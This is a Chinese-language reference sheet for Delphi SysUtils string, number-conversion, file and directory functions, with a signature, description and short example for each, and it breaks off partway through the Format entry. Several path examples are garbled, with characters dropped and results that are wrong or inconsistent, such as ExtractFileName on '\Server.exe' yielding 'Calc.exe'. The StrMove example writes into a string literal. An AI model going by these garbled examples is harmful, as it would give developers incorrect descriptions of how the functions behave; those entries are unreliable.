参考 function SysUtils.StrNextChar

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function IsValidIdent(const Ident: string): Boolean; $[SysUtils.pas

功能 返回字符串Ident是否是正确的标识符

说明 标识符::字母|下划线[字母|下划线|数字]...

参考 <NULL>

例子 CheckBox1.Checked := IsValidIdent(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function IntToStr(Value: Integer): string; overload; $[SysUtils.pas

首部 function IntToStr(Value: Int64): string; overload; $[SysUtils.pas

功能 返回整数Value转换成字符串

说明 Format('%d', [Value])

参考 function SysUtils.FmtStr

例子 Edit2.Text := IntToStr(SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function IntToHex(Value: Integer; Digits: Integer): string; overload; $[SysUtils.pas

首部 function IntToHex(Value: Int64; Digits: Integer): string; overload; $[SysUtils.pas

功能 返回整数Value转换成十六进制表现结果;Format('%.*x', [Digits, Value])

说明 参数Digits指定字符最小宽度;最小宽度不足时将用0填充

参考 function SysUtils.FmtStr

例子 Edit2.Text := IntToHex(SpinEdit1.Value, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToInt(const S: string): Integer; $[SysUtils.pas

功能 返回字符串S转换成整数

说明 字符串非整数表达时将引起异常

参考 procedure System.Val

例子 SpinEdit1.Value := StrToInt(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToIntDef(const S: string; Default: Integer): Integer; $[SysUtils.pas

功能 返回字符串S转换成整数

说明 字符串非整数表达时则返回默认值Default

参考 procedure System.Val

例子 SpinEdit1.Value := StrToIntDef(Edit1.Text, 0);

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToInt(const S: string; out Value: Integer): Boolean; $[SysUtils.pas

功能 返回字符串S转换成整数Value是否成功

说明 字符串非整数表达时返回False并且Value将输出为0

参考 procedure System.Val

例子

///////Begin TryStrToInt

procedure TForm1.Button1Click(Sender: TObject);

var

I: Integer;

begin

CheckBox1.Checked := TryStrToInt(Edit1.Text, I);

SpinEdit1.Value := I;

end;

///////End TryStrToInt

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToInt64(const S: string): Int64; $[SysUtils.pas

功能 返回字符串S转换成六十四位整数

说明 字符串非六十四位整数表达时将引起异常

参考 procedure System.Val

例子 SpinEdit1.Value := StrToInt64(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToInt64Def(const S: string; const Default: Int64): Int64; $[SysUtils.pas

功能 返回字符串S转换成六十四位整数

说明 字符串非六十四位整数表达时则返回默认值Default

参考 procedure System.Val

例子 SpinEdit1.Value := StrToInt64Def(Edit1.Text, 0);

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToInt64(const S: string; out Value: Int64): Boolean; $[SysUtils.pas

功能 返回字符串S转换成六十四位整数Value是否成功

说明 字符串非六十四位整数表达时返回False并且Value将输出为0

参考 procedure System.Val

例子

///////Begin TryStrToInt64

procedure TForm1.Button1Click(Sender: TObject);

var

I: Int64;

begin

CheckBox1.Checked := TryStrToInt64(Edit1.Text, I);

SpinEdit1.Value := I;

end;

///////End TryStrToInt64

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToBool(const S: string): Boolean; $[SysUtils.pas

功能 返回字符串S转换成逻辑值

说明 字符非逻辑表达时将引起异常

参考 function SysUtils.TryStrToBool

例子 CheckBox1.Checked := StrToBool(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToBoolDef(const S: string; const Default: Boolean): Boolean; $[SysUtils.pas

功能 返回字符串S转换成逻辑值

说明 字符非逻辑表达时则返回默认值Default

参考 function SysUtils.TryStrToBool

例子 CheckBox1.Checked := StrToBoolDef(Edit1.Text, False);

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToBool(const S: string; out Value: Boolean): Boolean; $[SysUtils.pas

功能 返回字符串S转换成逻辑值Value是否成功

说明 [注意]0为假非0为真;不是'True'和'False';Delphi6 Bug 如下修正

参考 function SysUtils.AnsiSameText;var SysUtils.TrueBoolStrs;var SysUtils.FalseBoolStrs

例子

///////Begin TryStrToBool

procedure TForm1.Button1Click(Sender: TObject);

var

B: Boolean;

begin

SetLength(TrueBoolStrs, 2);

SetLength(FalseBoolStrs, 2);

TrueBoolStrs[0] := 'True';

FalseBoolStrs[0] := 'False';

TrueBoolStrs[1] := 'Yes';

FalseBoolStrs[1] := 'No';

CheckBox1.Checked := TryStrToBool(Edit1.Text, B);

CheckBox2.Checked := B;

end;

///////End TryStrToBool

附加

///////Begin TryStrToBool

function TryStrToBool(const S: string; out Value: Boolean): Boolean;

function CompareWith(const aArray: array of string): Boolean;

var

I: Integer;

begin

Result := False;

for I := Low(aArray) to High(aArray) do

if AnsiSameText(S, aArray[I]) then

begin

Result := True;

Break;

end;

end;

var

LResult: Extended;

begin

Result := TryStrToFloat(S, LResult);

if Result then

Value := LResult <> 0

else

begin

Result := True; //修正处

VerifyBoolStrArray;

if CompareWith(TrueBoolStrs) then

Value := True

else if CompareWith(FalseBoolStrs) then

Value := False

else

Result := False;

end;

end;

///////End TryStrToBool

━━━━━━━━━━━━━━━━━━━━━

首部 function BoolToStr(B: Boolean; UseBoolStrs: Boolean = False): string; $[SysUtils.pas

功能 返回逻辑值B转换成字符串

说明 BoolToStr(False, False)='0';BoolToStr(False, True)='-1'

参考 var SysUtils.TrueBoolStrs;var SysUtils.FalseBoolStrs

例子 Edit1.Text := BoolToStr(CheckBox1.Checked, CheckBox2.Checked);

━━━━━━━━━━━━━━━━━━━━━

首部 function LoadStr(Ident: Integer): string; $[SysUtils.pas

功能 返回根据标识Ident的字符串资源

说明 字符串资源是指程序的内部资源

参考 function SysUtils.FindStringResource

例子 Edit2.Text := LoadStr(StrToIntDef(Edit1.Text, 0));

━━━━━━━━━━━━━━━━━━━━━

首部 function FmtLoadStr(Ident: Integer; const Args: array of const): string; $[SysUtils.pas

功能 返回格式化的字符串资源

说明 字符串资源是指程序的内部资源

参考 function SysUtils.FmtStr;function SysUtils.FindStringResource

例子 <NULL>;

━━━━━━━━━━━━━━━━━━━━━

首部 function FileOpen(const FileName: string; Mode: LongWord): Integer; $[SysUtils.pas

功能 返回打开文件果

说明 Mode指定打开文件的模式(fmOpenRead,fmOpenWrite,fmOpenReadWrite....);打开失败则返回负数

参考 function Windows.CreateFile

例子

///////Begin FileOpen,FileClose

procedure TForm1.Button1Click(Sender: TObject);

var

I: Integer;

begin

I := FileOpen(Edit1.Text, fmOpenRead);

CheckBox1.Checked := I > 0;

FileClose(I);

end;

///////Begin FileOpen,FileClose

━━━━━━━━━━━━━━━━━━━━━

首部 function FileCreate(const FileName: string): Integer; overload; $[SysUtils.pas

首部 function FileCreate(const FileName: string; Rights: Integer): Integer; overload; $[SysUtils.pas

功能 返回创建文件

说明 创建失败则返回负数

参考 function Windows.CreateFile

例子

///////Begin FileCreate

procedure TForm1.Button1Click(Sender: TObject);

var

I: Integer;

begin

I := FileCreate(Edit1.Text);

CheckBox1.Checked := I > 0;

FileClose(I);

end;

///////End FileCreate

━━━━━━━━━━━━━━━━━━━━━

首部 function FileRead(Handle: Integer; var Buffer; Count: LongWord): Integer; $[SysUtils.pas

功能 返回读取文件缓冲区的大小

说明 读取失败则返回负数

参考 function Windows.ReadFile

例子 <参见FileOpen>

━━━━━━━━━━━━━━━━━━━━━

首部 function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer; $[SysUtils.pas

功能 返回写入文件缓冲区的大小

说明 写入失败则返回负数

参考 function Windows.WriteFile

例子 <参见FileCreate>

━━━━━━━━━━━━━━━━━━━━━

首部 function FileSeek(Handle, Offset, Origin: Integer): Integer; overload; $[SysUtils.pas

首部 function FileSeek(Handle: Integer; const Offset: Int64; Origin: Integer): Int64; overload; $[SysUtils.pas

功能 返回指定文件偏移量

说明 Offset指定偏移量;Origin指定原点(Origin为0时指文件首;为1时指当前位置;为2时指文件尾)

参考 function Windows.SetFilePointer

例子 <参见FileOpen>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure FileClose(Handle: Integer); $[SysUtils.pas

功能 返回关闭文件

说明 不关闭打开的文件会占用系统资源

参考 function Windows.CloseHandle

例子 <参见FileOpen>

━━━━━━━━━━━━━━━━━━━━━

首部 function FileAge(const FileName: string): Integer; $[SysUtils.pas

功能 返回文件创建的时间

说明 文件不存在则返回-1

参考 function Windows.FindFirstFile

例子

///////Begin FileAge,DateTimeToStr,FileDateToDateTime

procedure TForm1.Button1Click(Sender: TObject);

begin

SpinEdit1.Value := FileAge(Edit1.Text);

if SpinEdit1.Value > 0 then

Edit2.Text := DateTimeToStr(FileDateToDateTime(SpinEdit1.Value));

end;

///////End FileAge,DateTimeToStr,FileDateToDateTime

━━━━━━━━━━━━━━━━━━━━━

首部 function FileExists(const FileName: string): Boolean; $[SysUtils.pas

功能 返回文件名FileName是否有实体存在

说明 包括隐藏文件

参考 function SysUtils.FileAge

例子 CheckBox1.Checked := FileExists(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function DirectoryExists(const Directory: string): Boolean; $[SysUtils.pas

功能 返回目录名FileName是否有实体存在

说明 包括隐藏目录

参考 function Windows.GetFileAttributes

例子 CheckBox1.Checked := DirectoryExists(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ForceDirectories(Dir: string): Boolean; $[SysUtils.pas

功能 返回创建子目录是否成功

说明 直接创建多级目录

参考 function SysUtils.CreateDir

例子 CheckBox1.Checked := ForceDirectories(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; $[SysUtils.pas

功能 返回设置文件搜索

说明 搜索成功则返回0

参考 function Windows.FindFirstFile

例子

///////Begin FindFirst,FindNext,FindClose

procedure TForm1.Button1Click(Sender: TObject);

var

vSearchRec: TSearchRec;

I: Integer;

begin

Memo1.Clear;

I := FindFirst(Edit1.Text, faAnyFile, vSearchRec);

while I = 0 do begin

Memo1.Lines.Add(vSearchRec.Name);

I := FindNext(vSearchRec);

end;

FindClose(vSearchRec);

end;

///////End FindFirst,FindNext,FindClose

━━━━━━━━━━━━━━━━━━━━━

首部 function FindNext(var F: TSearchRec): Integer; $[SysUtils.pas

功能 返回继续文件搜索

说明 搜索成功则返回0

参考 function Windows.FindNextFile

例子 <参见FindFirst>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure FindClose(var F: TSearchRec); $[SysUtils.pas

功能 结束当前文件搜索

说明 不关闭查询会占用系统资源

参考 function Windows.FindClose

例子 <参见FindFirst>

━━━━━━━━━━━━━━━━━━━━━

首部 function FileGetDate(Handle: Integer): Integer; $[SysUtils.pas

功能 返回文件的修改时间

说明 读取失败则返回-1

参考 function Windows.GetFileTime

例子

///////Begin FileGetDate

procedure TForm1.Button1Click(Sender: TObject);

var

I: Integer;

begin

I := FileOpen(Edit1.Text, fmOpenRead);

if I < 0 then Exit;

SpinEdit1.Value := FileGetDate(I);

Edit2.Text := DateTimeToStr(FileDateToDateTime(SpinEdit1.Value));

FileClose(I);

end;

///////End FileGetDate

━━━━━━━━━━━━━━━━━━━━━

首部 function FileSetDate(const FileName: string; Age: Integer): Integer; overload; $[SysUtils.pas

首部 function FileSetDate(Handle: Integer; Age: Integer): Integer; overload; platform; $[SysUtils.pas

功能 返回设置文件的修改时间

说明 修改成功则返回0

参考 function Windows.SetFileTime

例子 SpinEdit1.Value := FileSetDate(Edit1.Text, DateTimeToFileDate(StrToDateTime(Edit2.Text)));

━━━━━━━━━━━━━━━━━━━━━

首部 function FileGetAttr(const FileName: string): Integer; platform; $[SysUtils.pas

功能 返回文件的属性

说明 读取失败则返回$FFFFFFFF

参考 function Windows.GetFileAttributes

例子 SpinEdit1.Value := FileGetAttr(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function FileSetAttr(const FileName: string; Attr: Integer): Integer; platform; $[SysUtils.pas

功能 返回设置文件的属性

说明 设置成功则返回0

参考 function Windows.SetFileAttributes

例子 SpinEdit1.Value := FileSetAttr(Edit1.Text, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function FileIsReadOnly(const FileName: string): Boolean; $[SysUtils.pas

功能 返回文件是否只读

说明 文件不存在看作只读

参考 function Windows.GetFileAttributes

例子 CheckBox1.Checked := FileIsReadOnly(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function FileSetReadOnly(const FileName: string; ReadOnly: Boolean): Boolean; $[SysUtils.pas

功能 返回设置文件是否只读是否成功

说明 文件不存在则返回False

参考 function Windows.GetFileAttributes;function Windows.SetFileAttributes

例子 CheckBox1.Checked := FileSetReadOnly(Edit1.Text, CheckBox2.Checked);

━━━━━━━━━━━━━━━━━━━━━

首部 function DeleteFile(const FileName: string): Boolean; $[SysUtils.pas

功能 返回删除文件是否成功

说明 文件不存在则返回False

参考 function Windows.DeleteFile

例子 CheckBox1.Checked := DeleteFile(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function RenameFile(const OldName, NewName: string): Boolean; $[SysUtils.pas

功能 返回重命名文件是否成功

说明 文件不存在则返回False

参考 function Windows.MoveFile

例子 CheckBox1.Checked := RenameFile(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ChangeFileExt(const FileName, Extension: string): string; $[SysUtils.pas

功能 返回改变扩展名后的文件名

说明 [注意]扩展名Extension前要加点;ChangeFileExt('a.jpg', 'bmp')='abmp'

参考 function SysUtils.LastDelimiter;function System.Copy

例子 Edit1.Text := ChangeFileExt(Edit2.Text, Edit3.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExtractFilePath(const FileName: string): string; $[SysUtils.pas

功能 返回文件名所在的路径

说明 ExtractFilePath('C:)='C:;ExtractFilePath('\Server.exe')='\Server

参考 function SysUtils.LastDelimiter;function System.Copy

例子 Edit1.Text := ExtractFilePath(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExtractFileDir(const FileName: string): string; $[SysUtils.pas

功能 返回文件名所在的目录

说明 ExtractFileDir('C:)='C:;ExtractFileDir('\Server.exe')='\Server'

参考 function SysUtils.LastDelimiter;function System.Copy

例子 Edit1.Text := ExtractFileDir(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExtractFileDrive(const FileName: string): string; $[SysUtils.pas

功能 返回文件名所在驱动器

说明 ExtractFileDrive('C:)='C:';ExtractFileDrive('\Server.exe')='\Server'

参考 function System.Copy

例子 Edit1.Text := ExtractFileDrive(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExtractFileName(const FileName: string): string; $[SysUtils.pas

功能 返回绝对文件名

说明 ExtractFileName('C:)='';ExtractFileName('\Server.exe')='Calc.exe'

参考 function SysUtils.LastDelimiter;function System.Copy

例子 Edit1.Text := ExtractFileName(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExtractFileExt(const FileName: string): string; $[SysUtils.pas

功能 返回文件名的扩展名

说明 ExtractFileExt('C:)='';ExtractFileExt('\Server.exe')='.exe'

参考 function SysUtils.LastDelimiter;function System.Copy

例子 Edit1.Text := ExtractFileExt(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExpandFileName(const FileName: string): string; $[SysUtils.pas

功能 返回文件名的完整表示

说明 ExpandFileName('hello.pas')='C:Files.pas'

参考 function Windows.GetFullPathName

例子 Edit1.Text := ExpandFileName(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExpandFileNameCase(const FileName: string; out MatchFound: TFilenameCaseMatch): string; $[SysUtils.pas

功能 分情况返回文件名的完整表示

说明 type TFilenameCaseMatch = (mkNone, mkExactMatch, mkSingleMatch, mkAmbiguous);

参考 function Windows.GetFullPathName;function SysUtils.SameFileName;function SysUtils.FindFirst

例子

///////Begin ExpandFileNameCase

procedure TForm1.Button1Click(Sender: TObject);

var

vFilenameCaseMatch: TFilenameCaseMatch;

begin

Edit1.Text := ExpandFileNameCase(Edit2.Text, vFilenameCaseMatch);

SpinEdit1.Value := Ord(vFilenameCaseMatch);

end;

///////End ExpandFileNameCase

━━━━━━━━━━━━━━━━━━━━━

首部 function ExpandUNCFileName(const FileName: string): string; $[SysUtils.pas

功能 返回LINUX文件名的完整表示

说明 ExpandUNCFileName('C:/')='C:

参考 function SysUtils.ExpandFileName

例子 Edit1.Text := ExpandUNCFileName(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExtractRelativePath(const BaseName, DestName: string): string; $[SysUtils.pas

功能 返回参数的相对路径

说明 ExtractRelativePath('C:, 'C:')='System'

参考 function SysUtils.SameFilename;function SysUtils.ExtractFileDrive

例子 Edit1.Text := ExtractRelativePath(Edit2.Text, Edit3.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function ExtractShortPathName(const FileName: string): string; $[SysUtils.pas

功能 返回参数的DOS路径

说明 ExtractShortPathName('C:Files')='C:~1'

参考 function Windows.GetShortPathName

例子 Edit1.Text := ExtractShortPathName(Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function FileSearch(const Name, DirList: string): string; $[SysUtils.pas

功能 返回目录列表中DirList搜索的第一个结果

说明 FileSearch('Calc.exe', 'd:;c:')='d:.exe'

参考 function SysUtils.FileExists;function SysUtils.AnsiLastChar

例子 Edit1.Text := FileSearch(Edit2.Text, Edit3.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function DiskFree(Drive: Byte): Int64; $[SysUtils.pas

功能 返回驱动器可用空间

说明 参数Drive为0表示当前路径,为1表示=A驱,为2表示=B驱...;获取失败则返回-1

参考 function Windows.GetDiskFreeSpaceExA

例子 SpinEdit1.Value := DiskFree(SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function DiskSize(Drive: Byte): Int64; $[SysUtils.pas

功能 返回驱动器全部空间

说明 参数Drive为0表示当前路径,为1表示=A驱,为2表示=B驱...;获取失败则返回-1

参考 function Windows.GetDiskFreeSpaceExA

例子 SpinEdit1.Value := DiskSize(SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function FileDateToDateTime(FileDate: Integer): TDateTime; $[SysUtils.pas

功能 返回将文件日期时间类型转换日期时间类型

说明 FileDate非法是将触发异常

参考 function SysUtils.EncodeDate;function SysUtils.EncodeTime

例子 <参见FileAge>

━━━━━━━━━━━━━━━━━━━━━

首部 function DateTimeToFileDate(DateTime: TDateTime): Integer; $[SysUtils.pas

功能 返回将日期时间类型转换文件日期时间类型

说明 年份在1980到2107之外则返回0

参考 function SysUtils.DecodeDate;function SysUtils.DecodeTime

例子 <参见FileSetDate>

━━━━━━━━━━━━━━━━━━━━━

首部 function GetCurrentDir: string; $[SysUtils.pas

功能 返回当前操作目录

说明 [注意]调用文件对话框会改变当前操作目录

参考 function System.GetDir

例子 Edit1.Text := GetCurrentDir;

━━━━━━━━━━━━━━━━━━━━━

首部 function SetCurrentDir(const Dir: string): Boolean; $[SysUtils.pas

功能 返回设置当前操作目录是否成功

说明 [注意]调用文件对话框会改变当前操作目录

参考 function Windows.SetCurrentDirectory

例子 CheckBox1.Checked := SetCurrentDir(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function CreateDir(const Dir: string): Boolean; $[SysUtils.pas

功能 返回创建目录是否成功

说明 不支持多级目录;已经存在则返回False

参考 function Windows.CreateDirectory

例子 CheckBox1.Checked := CreateDir(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function RemoveDir(const Dir: string): Boolean; $[SysUtils.pas

功能 返回删除目录是否成功

说明 必须是空目录

参考 function Windows.RemoveDirectory

例子 CheckBox1.Checked := RemoveDir(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrLen(const Str: PChar): Cardinal; $[SysUtils.pas

功能 返回指针字符串的长度

说明 当指针字符串Str为nil时将触发异常

参考 <NULL>

例子 SpinEdit2.Value := StrLen(PChar(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrEnd(const Str: PChar): PChar; $[SysUtils.pas

功能 返回指针字符串的结尾

说明 当指针字符串Str为nil时将触发异常

参考 <NULL>

例子 Edit2.Text := StrEnd(PChar(Edit1.Text)) - SpinEdit1.Value;

━━━━━━━━━━━━━━━━━━━━━

首部 function StrMove(Dest: PChar; const Source: PChar; Count: Cardinal): PChar; $[SysUtils.pas

功能 返回将指针字符串Source指定内存数量Count复制覆盖到指针字符串Dest中

说明 Dest没有分配资源将触发异常s

参考 function System.Move

例子

///////Begin StrMove

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: PChar;

begin

vBuffer := '0123456789';

StrMove(vBuffer, PChar(Edit1.Text), SpinEdit1.Value);

Edit2.Text := vBuffer;

end;

///////End StrMove

━━━━━━━━━━━━━━━━━━━━━

首部 function StrCopy(Dest: PChar; const Source: PChar): PChar; $[SysUtils.pas

功能 返回将指针字符串Source复制到指针字符串Dest中

说明 Dest应已经分配足够的空间非则将触发异常

参考 <NULL>

例子

///////Begin StrCopy

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: PChar;

begin

GetMem(vBuffer, Length(Edit1.Text) + 1);

StrCopy(vBuffer, PChar(Edit1.Text));

Edit2.Text := vBuffer;

FreeMem(vBuffer);

end;

///////End StrCopy

━━━━━━━━━━━━━━━━━━━━━

首部 function StrECopy(Dest:PChar; const Source: PChar): PChar; $[SysUtils.pas

功能 返回将指针字符串Source复制到指针字符串Dest中的结尾

说明 可以连接指针字符串

参考 <NULL>

例子

///////Begin StrECopy

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

begin

StrECopy(StrECopy(vBuffer, PChar(Edit1.Text)), PChar(Edit2.Text));

Edit3.Text := vBuffer;

end;

///////End StrECopy

━━━━━━━━━━━━━━━━━━━━━

首部 function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; $[SysUtils.pas

功能 返回将指针字符串Source指定长度MaxLen复制到指针字符串Dest中

说明 Dest应已经分配足够的空间非则将触发异常

参考 <NULL>

例子

///////Begin StrLCopy

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

begin

StrLCopy(vBuffer, PChar(Edit1.Text), SpinEdit1.Value);

Edit2.Text := vBuffer;

end;

///////End StrLCopy

━━━━━━━━━━━━━━━━━━━━━

首部 function StrPCopy(Dest: PChar; const Source: string): PChar; $[SysUtils.pas

功能 返回将指针字符串Source复制到指针字符串Dest中

说明 StrLCopy(Dest, PChar(Source), Length(Source))

参考 function SysUtils.StrLCopy

例子

///////Begin StrPCopy

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

begin

StrPCopy(vBuffer, PChar(Edit1.Text));

Edit2.Text := vBuffer;

end;

///////End StrPCopy

━━━━━━━━━━━━━━━━━━━━━

首部 function StrPLCopy(Dest: PChar; const Source: string; MaxLen: Cardinal): PChar; $[SysUtils.pas

功能 返回将字符串Source指定长度MaxLen复制到指针字符串Dest中

说明 StrLCopy(Dest, PChar(Source), MaxLen)

参考 function SysUtils.StrLCopy

例子

///////Begin StrPLCopy

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

begin

StrPLCopy(vBuffer, Edit1.Text, SpinEdit1.Value);

Edit2.Text := vBuffer;

end;

///////End StrPLCopy

━━━━━━━━━━━━━━━━━━━━━

首部 function StrCat(Dest: PChar; const Source: PChar): PChar; $[SysUtils.pas

功能 返回连接指针字符串Dest和指针字符串Source

说明 StrCopy(StrEnd(Dest), Source)

参考 function SysUntils.StrCopy

例子

///////Begin StrCat

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

begin

StrPCopy(vBuffer, Edit1.Text);

StrCat(vBuffer, PChar(Edit2.Text));

Edit3.Text := vBuffer;

end;

///////End StrCat

━━━━━━━━━━━━━━━━━━━━━

首部 function StrLCat(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; $[SysUtils.pas

功能 返回连接指针字符串Dest和指针字符串Source

说明 [注意]MaxLen指定连接后的最大长度不是指针字符串Source的长度

参考 <NULL>

例子

///////Begin StrLCat

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

begin

StrPCopy(vBuffer, Edit1.Text);

StrLCat(vBuffer, PChar(Edit2.Text), SpinEdit1.Value);

Edit3.Text := vBuffer;

end;

///////End StrLCat

━━━━━━━━━━━━━━━━━━━━━

首部 function StrComp(const Str1, Str2: PChar): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写;[注意]返回第一个出现不同字符的差异

参考 <NULL>

例子 SpinEdit1.Value := StrComp(PChar(Edit1.Text), PChar(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrIComp(const Str1, Str2: PChar): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;不区分大小写;[注意]返回第一个出现不同字符的差异

参考 <NULL>

例子 SpinEdit1.Value := StrIComp(PChar(Edit1.Text), PChar(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrLComp(const Str1, Str2: PChar; MaxLen: Cardinal): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串指定长度

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写;Length(长度);[注意]返回第一个出现不同字符的差异

参考 <NULL>

例子 SpinEdit1.Value := StrLComp(PChar(Edit1.Text), PChar(Edit2.Text), SpinEdit2.Value)

━━━━━━━━━━━━━━━━━━━━━

首部 function StrLIComp(const Str1, Str2: PChar; MaxLen: Cardinal): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串指定长度

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;不区分大小写;[注意]返回第一个出现不同字符的差异

参考 <NULL>

例子 SpinEdit1.Value := StrLIComp(PChar(Edit1.Text), PChar(Edit2.Text), SpinEdit2.Value)

━━━━━━━━━━━━━━━━━━━━━

首部 function StrScan(const Str: PChar; Chr: Char): PChar; $[SysUtils.pas

功能 返回在指针字符串Str搜索字符Chr第一个出现的地址

说明 没有找到则返回空指针

参考 <NULL>

例子 Edit2.Text := StrScan(PChar(Edit1.Text), '*');

━━━━━━━━━━━━━━━━━━━━━

首部 function StrRScan(const Str: PChar; Chr: Char): PChar; $[SysUtils.pas

功能 返回在指针字符串Str搜索字符Chr最后一个出现的地址

说明 没有找到则返回空指针

参考 <NULL>

例子 Edit2.Text := StrRScan(PChar(Edit1.Text), '*');

━━━━━━━━━━━━━━━━━━━━━

首部 function StrPos(const Str1, Str2: PChar): PChar; $[SysUtils.pas

功能 返回指针字符串Str2在Str1中第一个出现的地址

说明 没有找到则返回空指针;StrPos('12345', '3') = '345'

参考 <NULL>

例子 Edit3.Text := StrPos(PChar(Edit1.Text), PChar(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrUpper(Str: PChar): PChar; $[SysUtils.pas

功能 返回指针字符串Str大写

说明 非小写字符不处理

参考 <NULL>

例子 Edit1.Text := StrUpper(PChar(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrLower(Str: PChar): PChar; $[SysUtils.pas

功能 返回指针字符串Str小写

说明 非大写字符不处理

参考 <NULL>

例子 Edit1.Text := StrLower(PChar(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrPas(const Str: PChar): string; $[SysUtils.pas

功能 返回指针字符串Str转换成字符串

说明 也可以直接赋值

参考 <NULL>

例子 Edit1.Text := StrPas(PChar(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrAlloc(Size: Cardinal): PChar; $[SysUtils.pas

功能 返回分配指定空间的内存资源给指针字符串

说明 空间的大小也将保存;用StrDispose才能全部释放

参考 function System.GetMem

例子

///////Begin StrAlloc

procedure TForm1.Button1Click(Sender: TObject);

var

P: PChar;

begin

P := StrAlloc(SpinEdit1.Value);

ShowMessage(IntToStr(StrLen(P)));

Dec(P, SizeOf(Cardinal));

ShowMessage(IntToStr(Cardinal(Pointer(P)^)));

Inc(P, SizeOf(Cardinal));

StrDispose(P);

end;

///////End StrAlloc

━━━━━━━━━━━━━━━━━━━━━

首部 function StrBufSize(const Str: PChar): Cardinal; $[SysUtils.pas

功能 返回通过函数StrAlloc分配的缓冲区大小

说明 出现异常情况则返回不可预知的结果

参考 function System.SizeOf

例子 SpinEdit1.Value := StrBufSize(StrAlloc(SpinEdit2.Value));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrNew(const Str: PChar): PChar; $[SysUtils.pas

功能 返回复制一个新的指针字符串

说明 如果Str为nil则返回nil

参考 function SysUtils.StrLen;function SysUtils.StrMove;function SysUtils.StrAlloc

例子

///////Begin StrNew,StrDispose

procedure TForm1.Button1Click(Sender: TObject);

var

P: PChar;

begin

P := StrNew(PChar(Edit1.Text));

ShowMessage(P);

StrDispose(P);

end;

///////End StrNew,StrDispose

━━━━━━━━━━━━━━━━━━━━━

首部 procedure StrDispose(Str: PChar); $[SysUtils.pas

功能 释放指针字符串Str内存资源

说明 如果Str为nil则不作任何处理;并且释放空间大小信息

参考 function System.Dec;function System.SizeOf;function System.FreeMem

例子 <参见StrNew>

━━━━━━━━━━━━━━━━━━━━━

首部 function Format(const Format: string; const Args: array of const): string; $[SysUtils.pas

功能 返回按指定方式格式化一个数组常量的字符形式

说明 这个函数是我在Delphi中用得最多的函数，现在就列举几个例子给你个直观的理解

"%" [索引 ":"] ["-"] [宽度] ["." 摘要] 类型

Format('x=%d', [12]); //'x=12' //最普通

